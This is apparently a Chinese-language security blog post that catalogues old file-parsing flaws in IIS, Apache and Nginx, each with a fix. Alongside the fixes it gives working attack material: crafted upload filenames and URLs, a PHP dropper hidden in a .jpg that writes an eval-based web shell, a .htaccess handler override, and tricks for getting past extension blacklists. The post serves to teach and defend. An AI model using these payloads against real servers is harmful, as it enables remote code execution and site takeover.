0x00 總覽說明
服務器解析漏洞算是歷史比較悠久了，但如今依然廣泛存在。在此記錄匯總一些常見服務器（WEB server）的解析漏洞，比如IIS6.0、IIS7.5、apache、nginx等方便以后回顧溫習。
一、IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服務器，大多為windows server 2003，網站比較古老，開發語句一般為asp；該解析漏洞也只能解析asp文件，而不能解析aspx文件。
IIS 6.0解析利用方法有兩種
1.目錄解析
/xx.asp/xx.jpg
2.文件解析
sp.asp;.jpg
第一種，在網站下建立文件夾的名字為 .asp、.asa 的文件夾，其目錄內的任何擴展名的文件都被IIS當作asp文件來解析並執行。
例如創建目錄 sp.asp，那么
/sp.asp/1.jpg
將被當作asp文件來執行。假設黑闊可以控制上傳文件夾路徑,就可以不管你上傳后你的圖片改不改名都能拿shell了。
第二種，在IIS6.0下，分號后面的不被解析，也就是說
sp.asp;.jpg
會被服務器看成是sp.asp
還有IIS6.0 默認的可執行文件除了asp還包含這三種
/sp.asa /sp.cer /sp.cdx
二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
Nginx解析漏洞這個偉大的漏洞是我國安全組織80sec發現的…
在默認Fast-CGI開啟狀況下,黑闊上傳一個名字為sp.jpg，內容為
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件，然后訪問sp.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
這個漏洞案例
WooYun: 用友軟件某分站SQL注入漏洞+nginx解析漏洞//http://wy.hx99.net/
WooYun: 新浪網分站多處安全漏洞（nginx解析+SQL注射等）小禮包
WooYun: kingsoft.com某x級域名nginx解析漏洞+爆路徑
修復方案
1.目前尚無微軟官方的補丁，可以通過自己編寫正則，阻止上傳xx.asp;.jpg類型的文件名。
2.做好權限設置，限制用戶創建文件夾。
三、apache解析漏洞
漏洞原理
Apache 解析文件的規則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。比如 sec.php.owf.rar “.owf”和”.rar” 這兩種后綴是apache不可識別解析,apache就會把sec.php.owf.rar解析成php.
比如 test.php.owf.rar “.owf”和”.rar” 這兩種后綴是apache不可識別解析,apache就會把wooyun.php.owf.rar解析成php。
如何判斷是不是合法的后綴就是這個漏洞的利用關鍵,測試時可以嘗試上傳一個sec.php.rara.jpg.png…（把你知道的常見后綴都寫上…）去測試是否是合法后綴
漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置問題導致漏洞
（1）如果在 Apache 的 conf 里有這樣一行配置 AddHandler php5-script .php 這時只要文件名里包含.php 即使文件名是 test2.php.jpg 也會以 php 來執行。
（2）如果在 Apache 的 conf 里有這樣一行配置 AddType application/x-httpd-php .jpg 即使擴展名是 jpg，一樣能以 php 方式執行。
修復方案
1.apache配置文件，禁止.php.這樣的文件執行，配置文件里面加入
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2.用偽靜態能解決這個問題，重寫類似.php.*這類文件，打開apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#號去掉，重啟apache,在網站根目錄下建立.htaccess文件,代碼如下:
復制代碼 <IfModule mod_rewrite.c> RewriteEngine On RewriteRule .(php.|php3.) /index.php RewriteRule .(pHp.|pHp3.) /index.php RewriteRule .(phP.|phP3.) /index.php RewriteRule .(Php.|Php3.) /index.php RewriteRule .(PHp.|PHp3.) /index.php RewriteRule .(PhP.|PhP3.) /index.php RewriteRule .(pHP.|pHP3.) /index.php RewriteRule .(PHP.|PHP3.) /index.php </IfModule> 復制代碼
四、Nginx <8.03 空字節代碼執行漏洞
影響版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在圖片中嵌入PHP代碼然后通過訪問
xxx.jpg%00.php
來執行其中的代碼
Nginx 空字節代執行漏洞案例
http://www.wooyun.org/searchbug.php?q=%2500.php
（三）nginx解析漏洞
漏洞原理
Nginx默認是以CGI的方式支持PHP解析的，普遍的做法是在Nginx配置文件中通過正則匹配設置SCRIPT_FILENAME。當訪問www.xx.com/phpinfo.jpg/1.php這個URL時，$fastcgi_script_name會被設置為“phpinfo.jpg/1.php”，然后構造成SCRIPT_FILENAME傳遞給PHP CGI，但是PHP為什么會接受這樣的參數，並將phpinfo.jpg作為PHP文件解析呢?這就要說到fix_pathinfo這個選項了。 如果開啟了這個選項，那么就會觸發在PHP中的如下邏輯：
PHP會認為SCRIPT_FILENAME是phpinfo.jpg，而1.php是PATH_INFO，所以就會將phpinfo.jpg作為PHP文件來解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
xxx.jpg%00.php (Nginx <8.03 空字節代碼執行漏洞)
另外一種手法：上傳一個名字為test.jpg，以下內容的文件。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后訪問test.jpg/.php,在這個目錄下就會生成一句話木馬shell.php。
使用phpstudy測試，默認配置即可（雖然默認的cgi.fix_pathinfo是注釋狀態，但的確默認值為1）。nginx版本1.11.5 （可見並不是）
修復方案
1.修改php.ini文件，將cgi.fix_pathinfo的值設置為0;
2.在Nginx配置文件中添加以下代碼：
if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}
這行代碼的意思是當匹配到類似test.jpg/a.php的URL時，將返回403錯誤代碼。
五、其他
在windows環境下，xx.jpg[空格] 或xx.jpg. 這兩類文件都是不允許存在的，若這樣命名，windows會默認除去空格或點,黑客可以通過抓包，在文件名后加一個空格或者點繞過黑名單。
若上傳成功，空格和點都會被windows自動消除,這樣也可以getshell。
如果在Apache中.htaccess可被執行.且可被上傳.那可以嘗試在.htaccess中寫入:
<FilesMatch "sec.jpg"> SetHandler application/x-httpd-php </FilesMatch>
然后再上傳shell.jpg的木馬, 這樣shell.jpg就可解析為php文件。